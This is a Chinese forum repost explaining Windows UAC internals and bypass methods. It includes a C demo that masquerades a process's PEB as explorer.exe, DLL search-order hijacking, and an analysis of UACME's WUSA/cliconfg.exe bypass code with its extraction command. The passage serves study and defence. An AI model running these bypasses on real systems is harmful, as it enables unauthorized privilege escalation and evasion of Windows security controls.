安全矩阵

 找回密码
 立即注册
搜索
查看: 5191|回复: 0

UAC原理及利用

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-28 09:46:17 | 显示全部楼层 |阅读模式
原文链接·:UAC原理及利用

什么是UAC
根据MSDN中的文档,User Account Control(UAC)是在Windows Vista 以后版本中引入的一种安全机制,针对具有有限权限的账户.
通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

Launched with virtualization意味着对注册表或者文件系统的更改会在程序结束时失效
launched without elevated privilege 即在非特权级下运行
从上图中,我们看到如果想获取管理员权限(让程序在特权级运行),有以下几种方式:
  • 通过run as administer/ 在shell中执行runas
  • 未启用UAC
  • 进程已经拥有管理权限控制
  • 进程被用户允许通过管理员权限运行
UAC的实现ACL(Access Control List):Windows 中所有资源都有 ACL ,这个列表决定了拥有何种权限的用户/进程能够这个资源。
在开启了 UAC 之后,如果用户是标准用户, Windows 会给用户分配一个标准 Access Token如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动 Explorer.exe 进程。如果用户同意,则赋予完整管理员权限访问令牌进行操作。
可以使用whoami /priv 看当前的权限

在研究一些对抗方法的时候,我们可以从“安全总是要让步于业务”这个不成文的规则入手,不管是一些为了用户体验导致的安全性上的牺牲,或者是为了业务逻辑不得不做的一些不安全配置都是因为如此,举一个例子:我们在开启UAC的情况下,向安装位置在%PROGRAMFILES%安装文件时,总会弹出UAC提示,但是我们安装完成后,在进行程序卸载时却不会弹出任何UAC提示,细心的思考一下,你可能就会开始琢磨其中的端倪。本质上是因为Widnows为这些程序(或者接口)开启了autoElevate,也就是说Windows系统本身维护了一批这样的在UAC白名单中的程序,而我们就可以利用他们来绕过UAC,当然,这只是其中一种方式.
触发UAC
  • 配置Windows Update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 改变UAC设置
  • 安装ActiveX
  • 安装或移除程序
  • 安装设备驱动程序
  • 设置家长控制
  • 将文件移动或复制到Program Files或Windows目录
  • 查看其他用户文件夹
等等有很多,具体参考这里
触发流程: 在触发 UAC 时,系统会创建一个consent.exe进程,该进程用以确定是否创建管理员进程(通过白名单和用户选择判断),然后creatprocess请求进程,将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程
BypassUAC目前公开的绕过UAC的几种方式:
  • 各类的UAC白名单程序的DLL劫持
  • 各类自动提升权限的COM接口利用(Elevated COM interface)
  • Windows 自身漏洞提权
  • 远程注入
本文主要论述前两种方法
UACME在分析之前,先介绍一个项目:https://github.com/hfiref0x/UACME,内含60+种BypassUAC的方法,后续会提到,其中包括的工具列表如下:
  • Akagi 是项目的主程序,其中包含了所有的Methods,绕过UAC的主要方法的源码都在Method目录下,会以UAC绕过方法的发现者的名字来命名源文件。
  • Akatsuki 又叫做“晓”,WOW64 logger绕过UAC的利用方法的DLL源码
  • Fubuki 又叫做“暴风雪“,好几个绕过UAC利用的代理DLL,他们都共用了劫持Ole32.dll的方法
  • Hibiki 又叫做“声音”,AVRF方法绕过UAC的利用方法的DLL源码
  • Ikazuchi 又叫做”雷声“,利用劫持 comctl32.dll 组件绕过UAC的利用方法的DLL源码
  • Inazuma 又叫做“闪电”,SHIM相关利用的绕过UAC的利用方法的EXE源码
  • Kamikaze 又叫做“神风”,未在工程文件中引用,MMC劫持方法利用的MSC文件
  • Kongou 又叫做“金刚”,利用Hybrid方法绕过UAC的Dll,已经排除在新工程中的引用了
  • Naka 又叫做“空气”,压缩及亦或编码的小工具源码
  • Yuubari Aka UACView用来查看相关UAC的设定信息,以及扫描存在可利用的程序的工具
clone到本地后,用VS2019打开,选择uacme.vcxproj,以Release|x64去build(这个根据需要,64位系统就用x64),然后ctrl+bbuild项目,生成的项目在source/Akag/output下

Akagi64
使用vs2019本地编译后可以使用akagi32 41或者akagi64 41启动程序,41这个指的是README中描述的方法索引,运行后可以直接得到管理员权限的cmd窗口。

Yuubari
编译方法同上,会生成一个UacInfo64.exe,该工具可以快速查看系统的UAC设定信息以及所有可以利用的程序和COM组件,使用方法如下(会在同一目录下生成一个log文件记录所有输出结果)

这个怎么看,后面会说
利用白名单上文也已经分析了,如果进程本身具有管理员权限或者可以直接获取管理员权限的话,就不会弹出UAC框让用户确认,这类程序被称为白名单程序,例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe,rundll32.exe,explorer.exe等等。
常见的利用方式有:
  • DLL注入(RDI技术),一般注入到常驻内存的可信进程,如:explorer
  • DLL劫持,常和注册表配合使用达到劫持目的
伪装成白名单的方法
后续提到的很多方法都需要白名单的进程调用才能自动提权,但是我们的程序本身是我不在白名单的,此时就需要使用伪装白名单的方式来伪装成白名单的调用,使用的方法是伪装进程PEB.
PEB结构(Process Envirorment Block Structure). 英文翻译过来就是进程环境信息块,微软并未完全公布该结构的所有字段含义,只是公布了部分的.该结构中存放了进程信息,每个进程都有自己的 PEB 信息。通过修改目标进程的PEB结构中的路径信息和命令行信息为想要伪装的对象一致,就可以将目标进程伪装成想要伪装的目标.实现原理如下:
  • 通过NtQueryInformationProcess函数获取指定进程PEB地址。因为该进程与我们的进程可能不在一个进程空间内,所以需要调用WIN32API函数ReadProcessMemory和WriteProcessMemory函数来读写目标进程内存。
  • 根据PEB中的ProcessParameters来获取并修改指定进程的RTL_USER_PROCESS_PARAMETERS信息,这个结构体中保存了PEB的路径信息、命令行信息,修改之后,即可实现进程伪装。
注意,如果修改进程运行在64位系统上,那么就要编译为64位;反之,如果修改进程运行在32位系统上,那么就要编译为32位。(跟被修改进程无关)这样才能成功修改PEB。
几个关键结构/函数:
  1. typedef struct _PROCESS_BASIC_INFORMATION {
  2.     PVOID Reserved1;
  3.     PPEB PebBaseAddress; //peb的基地址
  4.     PVOID Reserved2[2];
  5.     ULONG_PTR UniqueProcessId;
  6.     PVOID Reserved3;
  7. } PROCESS_BASIC_INFORMATION;
复制代码
用NtQueryInformationProcess获取到的内存信息就是该结构的,其中的PebBaseAddress字段记录了PEB的基地址,为一个_PEB的结构体指针
  1. typedef struct _PEB {
  2.   BYTE                          Reserved1[2];
  3.   BYTE                          BeingDebugged; //被调试状态 这个很多地方用到
  4.   BYTE                          Reserved2[1];
  5.   PVOID                         Reserved3[2];
  6.   PPEB_LDR_DATA                 Ldr;
  7.   PRTL_USER_PROCESS_PARAMETERS  ProcessParameters; // 进程参数信息
  8.   BYTE                          Reserved4[104];
  9.   PVOID                         Reserved5[52];
  10.   PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  11.   BYTE                          Reserved6[128];
  12.   PVOID                         Reserved7[1];
  13.   ULONG                         SessionId;
  14. } PEB, *PPEB;
复制代码
主要用到ProcessParameters,PRTL_USER_PROCESS_PARAMETERS的结构为:
  1. typedef struct _RTL_USER_PROCESS_PARAMETERS {
  2.     BYTE Reserved1[16];
  3.     PVOID Reserved2[10];
  4.     UNICODE_STRING ImagePathName;
  5.     UNICODE_STRING CommandLine;
  6. } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
复制代码
我们只要关注ImagePathName和CommandLine,所以来看看这个UNICODE_STRING结构:
  1. typedef struct _UNICODE_STRING {
  2.     USHORT Length;
  3.     USHORT MaximumLength;
  4.     PWSTR  Buffer;
  5. } UNICODE_STRING;
复制代码
然后是几个关键函数:
  1. BOOL ReadProcessMemory(
  2.   _In_ HANDLE  hProcess, // 进程句柄
  3.   _In_ LPCVOID lpBaseAddress, // 读取基址 指向指定进程空间
  4.   _Out_ LPVOID  lpBuffer, // 接收缓存
  5.   _In_ SIZE_T  nSize, // 读取大小
  6.   _Out_opt_ SIZE_T  *lpNumberOfBytesRead // 接收数据的实际大小 可以设置为NULL
  7. );
复制代码
ReadProcessMemory函数从指定的进程中读入内存信息,被读取的区域必须具有访问权限(PROCESS_VM_READ)。函数执行成功返回非零值。否则返回零,可以使用GetLastError函数获取错误码。
  1. BOOL WriteProcessMemory(
  2.   _In_ HANDLE  hProcess, // 进程句柄 INVALID_HANDLE_VALUE表示自身进程
  3.   _In_ LPVOID  lpBaseAddress, // 写入内存首地址
  4.   _Out_ LPCVOID lpBuffer, // 指向欲写入的数据
  5.   _In_ SIZE_T  nSize, // 写入大小
  6.   _Out_opt_ SIZE_T  *lpNumberOfBytesWritten // 接收实际写入大小 可以设置为NULL
  7. );
复制代码

WriteProcessMemory函数能写入某一进程的内存区域。入口区必须可以访问(PROCESS_VM_WRITE和PROCESS_VM_OPERATION ),否则操作将失败
这里自己写一个小Demo来帮助理解:
  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #include <winternl.h> //PEB Structures, NtQueryInformationProcess
  4. #include <TlHelp32.h>

  5. //prepare for call NtQueryInformationProcess func
  6. typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
  7.     IN HANDLE ProcessHandle,
  8.     IN PROCESSINFOCLASS ProcessInformationClass,
  9.     OUT PVOID ProcessInformation,
  10.     IN ULONG ProcessInformationLength,
  11.     OUT PULONG ReturnLength OPTIONAL
  12.     );

  13. // modify ImagePathName and CommandLine in PEB of specific process
  14. BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
  15.    
  16.     // get handle of process
  17.     /*
  18.     OpenProcess(访问权限, 进程句柄是否被继承, 要被打开的进程PID)
  19.     */
  20.     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
  21.     if (hProcess == NULL) {
  22.         printf("Open Process error!");
  23.         return FALSE;
  24.     }

  25.     // prepare for getting PEB
  26.     typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
  27.     PROCESS_BASIC_INFORMATION pbi = { 0 };
  28.     PEB peb = { 0 };
  29.     RTL_USER_PROCESS_PARAMETERS Param = { 0 };
  30.     USHORT usCmdLen = 0;
  31.     USHORT usPathLen = 0;
  32.     const WCHAR* NTDLL = L"ntdll.dll";

  33.     //NtQueryInformationProcess这个函数没有关联的导入库,必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址
  34.     NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess");
  35.     if (NULL == NtQueryInformationProcess)
  36.     {
  37.         printf("GetProcAddress Error");
  38.         return FALSE;
  39.     }
  40.    
  41.     // get status of specific process
  42.     NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
  43.     if (!NT_SUCCESS(status))
  44.     {
  45.         printf("NtQueryInformationProcess failed");
  46.         return FALSE;
  47.     }

  48.     // get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess
  49.     ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
  50.     // get ProcessParameters in PEB of process
  51.     ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

  52.     // modify cmdline data
  53.     usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str
  54.     WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
  55.     WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
  56.     // modify path data
  57.     usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str
  58.     WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
  59.     WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

  60.     return TRUE;
  61. }

  62. // get PID by ProcessName
  63. DWORD FindProcId(const WCHAR* ProcName) {
  64.     DWORD ProcId = 0; // target procId
  65.     PROCESSENTRY32 pe32 = { 0 };  // to get snapshot structure
  66.     pe32.dwSize = sizeof(PROCESSENTRY32);
  67.     HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list
  68.     if (hProcessShot == INVALID_HANDLE_VALUE) {
  69.         puts("get proc list error");
  70.         return 0;
  71.     }
  72.     BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list
  73.     // compare proc name and get correct process Id
  74.     while (cProc) {
  75.         if (wcscmp(pe32.szExeFile, ProcName) == 0) {
  76.             ProcId = pe32.th32ProcessID;
  77.             break;
  78.         }
  79.         cProc = Process32Next(hProcessShot, &pe32);
  80.     }
  81.     return ProcId;
  82. }

  83. int main()
  84. {
  85.     const WCHAR* ProcessName = L"Calculator.exe";
  86.     do {
  87.         DWORD dwTargetId = FindProcId(ProcessName);
  88.         if (0 == dwTargetId) {
  89.             printf("can not find procIdn");
  90.             break;
  91.         }
  92.         if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE"))
  93.         {
  94.             printf("Dsisguise Process Error.");
  95.             break;
  96.         }
  97.         printf("Disguise Process OK.");
  98.     } while (FALSE);

  99.     system("pause");
  100.     return 0;
  101. }
复制代码

这里有几点需要注意的:
  • 计算长度时,由于wcslen返回的是unicode的字符个数,每个unicode字符占两个字节,在加上结尾的两个空字节,所以是2+2*wcslen(lpwszCmd)
  • NtQueryInformationProcess这个函数没有关联的导入库,必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址
Demo运行后,会将Calculator.exe的cmdline和imagepath修改为指定进程的,如果想将路径也伪装正确,可以调用GetModuleFileNameEx、GetProcessImageFileName或者QueryFullProcessImageName等函数获取伪装进程的正确路径
在UACME项目中,是由supMasqueradeProcess函数实现了该技术,原理是一样的,只不过该函数实现的是伪装自身的信息。
DLL简介
DLL 是Dynamic Link Library 的缩写,译为“动态链接库”。 DLL也是一个被编译过的二进制程序,可以被其他程序调用,但与exe 不同,DLL不能独立运行,必须由其他程序调用载入内存。 DLL 中封装了很多函数,只要知道函数的入口地址,就可以被其他程序调用。
DLL的优点(为什么要用dll):
  • 节省内存。同一个软件模块,若是以源代码的形式重用,则会被编译到不同的可执行程序中,同时运行这些exe时这些模块的二进制码会被重复加载到内存中。如果使用dll,则只在内存中加载一次,所有使用该dll的进程会共享此块内存(当然,像dll中的全局变量这种东西是会被每个进程复制一份的)
  • 不需编译的软件系统升级,若一个软件系统使用了dll,则该dll被改变(函数名不变)时,系统升级只需要更换此dll即可,不需要重新编译整个系统。事实上,很多软件都是以这种方式升级的。例如我们经常玩的星际、魔兽等游戏也是这样进行版本升级的。
  • dll库可以供多种编程语言使用,例如用c编写的dll可以在vb中调用。这一点上dll还做得很不够,因此在dll的基础上发明了COM技术,更好的解决了一系列问题。要注意:com虽然也是以dll(或exe)的形式存在的,但它的调用方式却不同于普通dll。
动手写一个最简单的DLL
一个DLL的示例如下:
  1. #include <objbase.h>
  2. #include <iostream>
  3. using namespace std;

  4. BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void *lpReserved){
  5.     HANDLE g_hModule;
  6.     switch(dwReason){
  7.         case DLL_PROCESS_ATTACH:
  8.             cout<<"Dll is attached!"<<endl;
  9.             g_hModule = (HINSTANCE)hModule;
  10.             break;
  11.         case DLL_PROCESS_DETACH:
  12.             cout<<"Dll is detached!"<<endl;
  13.             g_hModule = NULL;
  14.             break;
  15.     }
  16.     return true;
  17. }
复制代码

其中DllMain是每个dll的入口函数,如同c的main函数一样。DllMain带有三个参数,hModule表示本DLL的实例句柄,dwReason表示当前dll所处的状态,例如DLL_PROCESS_ATTACH表示dll刚刚被加载到一个进程中,DLL_PROCESS_DETACH表示dll刚刚从一个进程中卸载。当然还有表示加载到线程中和从线程中卸载的状态,这里省略。最后一个参数是一个保留参数(目前和dll的一些状态相关,但是很少使用)
上面这个dll实现的功能是:当dll被加载到一个进程中时,dll打印"Dll is attached!"语句;当dll从进程中卸载时,打印"Dll is detached!"语句
采用最原始的方法编译DLL,所用到的exe都在VS的bin目录下:
cl /c dll_nolib.cpp
这条命令会将cpp编译为obj文件,若不使用/c参数则cl还会试图继续将obj链接为exe,但是这里是一个dll,没有main函数,因此会报错。不要紧,继续使用链接命令。
如果报no include path set的错误的话,先运行C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\VsDevCmd.bat(我是VS2019)这个脚本会将环境变量添加进来.
接着继续执行ink /dll dll_nolib.obj,这条命令会生成dll_nolib.dll
  1.     64位DLL编译方法如下:

  2.         "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvarsall.bat" amd64

  3.         cl /c dll_nolib.cpp

  4.         Link /dll dll_nolib.obj
复制代码

DLL调用
显示调用:
  1. #include<windows.h>
  2. #include<iostream>
  3. using namespace std;

  4. int main(void){
  5.     HINSTANCE hinst=::LoadLibrary("dll_nolib.dll");
  6.     if (NULL!=hinst){
  7.         cout<<"dll loaded!"<<endl;
  8.     }
  9.     return 0;
  10. }
复制代码

  • 注意,调用dll使用LoadLibrary函数,它的参数就是dll的路径和名称,返回值是dll的句柄。 使用如下命令编译链接客户端:Cl dll_nolib_client.cpp
  • 隐式调用:
    显式调用显得非常复杂,每次都要LoadLibrary,并且每个函数都必须使用GetProcAddress来得到函数指针,这对于大量使用dll函数的客户是一种困扰。而隐式调用能够像使用c函数库一样使用dll中的函数,非常方便快捷。
  1. #include "dll_withLibAndH.h"
  2. //注意路径,加载 dll的另一种方法是 Project | setting | link 设置里
  3. #pragma comment(lib,"dll_withLibAndH.lib")
  4. int main(void){
  5.     FuncInDll();//只要这样我们就可以调用dll里的函数了
  6.     return 0;
  7. }
复制代码

__declspec(dllexport)和__declspec(dllimport)需要配对使用,由于这里是对BypassUac的探讨,这里介绍的dll的知识已经足以撑起后续内容,就不再过多扩展了,更多dll的知识自行百度
DLLmain函数既然会在Dll加载时运行,这也就意味着我们可以在这里添加我们想执行的payload,在dll加载时自动执行
DLL劫持的几种方式DLL加载顺序劫持
DLL劫持中最常见的一种劫持方法,即在程序所在目录放置要劫持的DLL,程序启动时首先从本目录加载DLL,从而导致DLL劫持,DLL的加载顺序如下:
  • 1.程序所在目录
  • 2.程序加载目录(SetCurrentDirectory)
  • 3.系统目录即 SYSTEM32 目录
  • 4.16位系统目录即 SYSTEM 目录
  • 5.Windows目录
  • 6.PATH环境变量中列出的目录
PS:Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能
1号方法用的就是这种方法,以此为例分析一下,7号方法的信息如下:
  1.     7.Author: Win32/Carberp derivative

  2.         Type: Dll Hijack

  3.         Method: WUSA

  4.         Target(s): \system32\cliconfg.exe

  5.         Component(s): ntwdblib.dll

  6.         Implementation: ucmWusaMethod

  7.         Works from: Windows 7 (7600)

  8.         Fixed in: Windows 10 TH1 (10147)

  9.             How: WUSA /extract option removed
复制代码

这里顺便以7号方法为例,分析一下UACMe的代码实现:
主程序:main.c,入口在ucmMain() 传入一个method号,其中method是个枚举类型_UCM_METHOD:
  1. typedef enum _UCM_METHOD {
  2.     UacMethodTest = 0,          //+
  3.     UacMethodSysprep1 = 1,      //+
  4.     UacMethodSysprep2,          //+
  5.     UacMethodOobe,              //+
  6.     UacMethodRedirectExe,       //+
  7.     UacMethodSimda,             //+
  8.     UacMethodCarberp1,          //+
  9.     UacMethodCarberp2,          //+
  10.     UacMethodTilon,             //+
  11.     UacMethodAVrf,              //+
  12.     UacMethodWinsat,            //+
  13.     UacMethodShimPatch,         //+
  14.     UacMethodSysprep3,          //+
  15.     UacMethodMMC1,              //+
  16.     UacMethodSirefef,           //+
  17.     UacMethodGeneric,           //+
  18.     UacMethodGWX,               //+
  19.     UacMethodSysprep4,          //+
  20.     UacMethodManifest,          //+
  21.     UacMethodInetMgr,           //+
  22.     UacMethodMMC2,              //+
  23.     UacMethodSXS,               //+
  24.     UacMethodSXSConsent,        //+
  25.     UacMethodDISM,              //+
  26.     UacMethodComet,             //+
  27.     UacMethodEnigma0x3,         //+
  28.     UacMethodEnigma0x3_2,       //+
  29.     UacMethodExpLife,           //+
  30.     UacMethodSandworm,          //+
  31.     UacMethodEnigma0x3_3,       //+
  32.     UacMethodWow64Logger,       //+
  33.     UacMethodEnigma0x3_4,       //+
  34.     UacMethodUiAccess,          //+
  35.     UacMethodMsSettings,        //+
  36.     UacMethodTyranid,           //+
  37.     UacMethodTokenMod,          //+
  38.     UacMethodJunction,          //+
  39.     UacMethodSXSDccw,           //+
  40.     UacMethodHakril,            //+
  41.     UacMethodCorProfiler,       //+
  42.     UacMethodCOMHandlers,       //+
  43.     UacMethodCMLuaUtil,         //+
  44.     UacMethodFwCplLua,          //+
  45.     UacMethodDccwCOM,           //+
  46.     UacMethodVolatileEnv,       //+
  47.     UacMethodSluiHijack,        //+
  48.     UacMethodBitlockerRC,       //+
  49.     UacMethodCOMHandlers2,      //+
  50.     UacMethodSPPLUAObject,      //+
  51.     UacMethodCreateNewLink,     //+
  52.     UacMethodDateTimeWriter,    //+
  53.     UacMethodAcCplAdmin,        //+
  54.     UacMethodDirectoryMock,     //+
  55.     UacMethodShellSdclt,        //+
  56.     UacMethodEgre55,            //+
  57.     UacMethodTokenModUiAccess,  //+
  58.     UacMethodShellWSReset,      //+
  59.     UacMethodSysprep5,          //+
  60.     UacMethodEditionUpgradeMgr, //+
  61.     UacMethodDebugObject,       //+
  62.     UacMethodGlupteba,          //+
  63.     UacMethodShellChangePk,     //+
  64.     UacMethodMsSettings2,       //+
  65.     UacMethodMax,
  66.     UacMethodInvalid = 0xabcdef
  67. } UCM_METHOD;
复制代码

这些是所有支持的BypassUAC的方式,对应着readme中列举出来的方法

接着就是一些初始化和检查,直接到MethodsManagerCall函数,该函数会在调用前做一些准备工作,包括如果需要额外的payload,会从资源文件中解密出来.MethodsManagerCall还会根据传入的Method号在ucmMethodsDispatchTable这个结构体找到调用方法

ucmMethodsDispatchTable是一个UCM_API_DISPATCH_ENTRY的结构体数组,跟着看这个结构体的定义
  1. // UCM_API_DISPATCH_ENTRY定义
  2. typedef struct _UCM_API_DISPATCH_ENTRY {
  3.     PUCM_API_ROUTINE Routine;               //执行的方法
  4.     PUCM_EXTRA_CONTEXT ExtraContext;        //该方法执行时依赖的额外内容
  5.     UCM_METHOD_AVAILABILITY Availability;   //可行的最小/最大windows版本号
  6.     ULONG PayloadResourceId;                //使用的payload dll
  7.     BOOL Win32OrWow64Required;
  8.     BOOL DisallowWow64;
  9.     BOOL SetParameters;                     //是否需要shared参数被设置
  10. } UCM_API_DISPATCH_ENTRY, *PUCM_API_DISPATCH_ENTRY;
复制代码
在解析完结构体后,根据配置,加载额外的内容或payload.之后获取其他命令行参数,这里需要重点关注Routine,这个结构体变量,该变量是一个PUCM_API_ROUTINE类型的变量,定义如下:
  1. typedef NTSTATUS(CALLBACK *PUCM_API_ROUTINE)(
  2.     _In_ PUCM_PARAMS_BLOCK Parameter
  3.     );
  4. //稍微扩展一下:
  5. typedef NTSTATUS(__stdcall *PUCM_API_ROUTINE)(
  6.     _In_ PUCM_PARAMS_BLOCK Parameter
  7.     );
复制代码
即PUCM_API_ROUTINE是一个指向“接受一个PUCM_PARAMS_BLOCK类型作为参数并回传一个NTSTATUS类型值的函数”的指针别名,也就是说可以通过该函数指针去调用该函数.接着看PUCM_PARAMS_BLOCK:
  1. typedef struct tagUCM_PARAMS_BLOCK {
  2.     UCM_METHOD Method;
  3.     PVOID PayloadCode;
  4.     ULONG PayloadSize;
  5. } UCM_PARAMS_BLOCK, *PUCM_PARAMS_BLOCK;
复制代码
PUCM_PARAMS_BLOCK是一个tagUCM_PARAMS_BLOCK的结构体指针,追到这里就可以不用在追了,将关键代码抽出来看:
  1. Entry = &ucmMethodsDispatchTable[Method];

  2. ParamsBlock.Method = Method;
  3. ParamsBlock.PayloadCode = PayloadCode;
  4. ParamsBlock.PayloadSize = PayloadSize;

  5. MethodResult = Entry->Routine(&ParamsBlock);
复制代码
Entry找到了结构体内对应method的入口,也就是{ MethodCarberp, NULL, { 7600, 10147 }, FUBUKI_ID, FALSE, TRUE, TRUE },这一项,这里作出分析,MethodResult = Entry->Routine(&aramsBlock);这里其实等价于:``MethodResult = MethodCarberp(&aramsBlock)`,我们看MethodCarberp的定义:

  1. //#define UCM_API(n) NTSTATUS CALLBACK n(_In_ PUCM_PARAMS_BLOCK Parameter)  
  2. UCM_API(MethodCarberp)
  3. {
  4.     //
  5.     // Additional checking for UacMethodCarberp1.
  6.     // Target application 'migwiz' unavailable in Syswow64 after Windows 7.
  7.     //
  8.     if (Parameter->Method == UacMethodCarberp1) {
  9.         if ((g_ctx->IsWow64) && (g_ctx->dwBuildNumber > 7601)) {
  10.             ucmShowMessage(g_ctx->OutputToDebugger, WOW64STRING);
  11.             return STATUS_UNKNOWN_REVISION;
  12.         }
  13.     }
  14.     return ucmWusaMethod(
  15.         Parameter->Method,
  16.         Parameter->PayloadCode,
  17.         Parameter->PayloadSize);
  18. }
复制代码
可见最终调用了ucmWusaMethod这个函数,将关键代码摘出来分析下:
  1. /*
  2. * ucmWusaMethod
  3. *
  4. * Purpose:
  5. *
  6. * Build and install fake msu package then run target application.
  7. *
  8. * Fixed in Windows 10 TH1
  9. *
  10. */
  11. NTSTATUS ucmWusaMethod(
  12.     _In_ UCM_METHOD Method,
  13.     _In_ PVOID ProxyDll,
  14.     _In_ DWORD ProxyDllSize
  15. )
  16. {
  17.     NTSTATUS    MethodResult = STATUS_ACCESS_DENIED;
  18.     WCHAR       szSourceDll[MAX_PATH * 2];
  19.     WCHAR       szTargetProcess[MAX_PATH * 2];
  20.     WCHAR       szTargetDirectory[MAX_PATH * 2];

  21.     _strcpy(szTargetProcess, g_ctx->szSystemDirectory);
  22.     _strcpy(szTargetDirectory, g_ctx->szSystemDirectory);
  23.     _strcpy(szSourceDll, g_ctx->szTempDirectory);

  24.     switch (Method) {
  25.     //
  26.     // Use cliconfg.exe as target.
  27.     // szTargetDirectory is system32
  28.     //
  29.     case UacMethodCarberp2:
  30.         _strcat(szSourceDll, NTWDBLIB_DLL);
  31.         _strcat(szTargetProcess, CLICONFG_EXE);
  32.         break;

  33.     default:
  34.         return STATUS_INVALID_PARAMETER;
  35.     }

  36.     if (!PathFileExists(szTargetProcess)) {
  37.         return STATUS_OBJECT_NAME_NOT_FOUND;
  38.     }

  39.     //
  40.     // Extract file to the protected directory
  41.     // First, create cab with fake msu ext, second run fusion process.
  42.     //
  43.     if (ucmCreateCabinetForSingleFile(
  44.         szSourceDll,
  45.         ProxyDll,
  46.         ProxyDllSize,
  47.         NULL))
  48.     {

  49.         if (ucmWusaExtractPackage(szTargetDirectory)) {
  50.             //run target process for dll hijacking
  51.             if (supRunProcess(szTargetProcess, NULL))
  52.                 MethodResult = STATUS_SUCCESS;
  53.         }
  54.         ucmWusaCabinetCleanup();
  55.     }

  56.     return MethodResult;
  57. }
复制代码

经过分析可以发现BypassUAC的流程为:

  • 生成ellocnak.msu,此文件是一个cab格式的文件,内容为ntwdblib.dll文件(该文件为程序生成的加密Payload),文件放置在用户临时目录下
  • 通过之前介绍的WUSA将ellocnak.msu解压到system32目录下cmd.exe /c wusa %temp%\ellocnak.msu /extract:%windir%\system32
  • 运行C:\windows\system32\cliconfg.exe,进行DLL劫持
该方法劫持了cliconfig.exe对ntwdblib.dll的加载。
跟进生成的payload,看一下具体怎么实现的bypassUAC:
payload是在_UCM_API_DISPATCH_ENTRY中PayloadResourceId字段指明的,但这个字段只是一个payload的资源标识符,真正处理的的部分在methods.c中的supLdrQueryResourceData函数,代码如下:
  1. Resource = supLdrQueryResourceData(
  2.       Entry->PayloadResourceId,
  3.       ImageBaseAddress,
  4.       &DataSize);
复制代码
supLdrQueryResourceData中的关键部分如下:
  1. if (DllHandle != NULL) {

  2.         IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
  3.         IdPath[1] = ResourceId;           //id
  4.         IdPath[2] = 0;                    //lang

  5.         status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
  6.         if (NT_SUCCESS(status)) {
  7.             status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData);
  8.             if (NT_SUCCESS(status)) {
  9.                 if (DataSize) {
  10.                     *DataSize = SizeOfData;
  11.                 }
  12.             }
  13.         }
  14.     }
复制代码

其中LdrFindResource_U和LdrAccessResource都是从NTdll中导出的API,LdrFindResource_U会根据资源ID找到相应的资源,如果找到,则返回相应的句柄,后续应该使用LdrAccessResource来使用该句柄,这两个API都没有找到有人分析的使用方法,但是可以跟进payload中,其拓展如下:


这里又可以在bin32res.rc中找到资源文件的路径,这里就是加密的payload的了,刚刚我们看到在定义IDPath时,第一项type值为RT_RCDATA,指明了该资源是由.rc文件中的RCDATA字段指出其位置的,可以看到就是bin/fubuki32.cd

我们接着在程序中寻找解密的算法,其解密算法在compress.c中的DecompressPayload函数中定义:
  1. PVOID DecompressPayload(
  2.     _In_ ULONG PayloadId,
  3.     _In_ PVOID pbBuffer,
  4.     _In_ ULONG cbBuffer,
